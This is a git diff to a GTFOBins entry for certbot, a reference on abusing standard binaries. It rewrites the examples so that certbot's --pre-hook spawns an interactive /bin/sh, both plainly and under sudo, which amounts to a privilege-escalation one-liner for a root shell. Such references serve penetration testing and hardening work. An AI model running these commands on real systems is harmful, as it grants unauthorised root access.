diff --git a/_gtfobins/certbot.md b/_gtfobins/certbot.md
index 3da704a..86b9469 100644
--- a/_gtfobins/certbot.md
+++ b/_gtfobins/certbot.md
@@ -1,9 +1,11 @@
 ---
 functions:
-  sudo:
-    - description: A temporary directory is created to not mess around with the current installation. The certbot server has to be reachable. The command output is visible in the certbot output.
-      code: |
-        COMMAND='id'
+  shell:
+    - code: |
         TF=$(mktemp -d)
-        sudo certbot certonly --standalone -n --dry-run -d example.net --work-dir $TF --config-dir $TF --agree-tos --register-unsafely-without-email --pre-hook "$COMMAND"
+        certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
+  sudo:
+    - code: |
+        TF=$(mktemp -d)
+        sudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'
 ---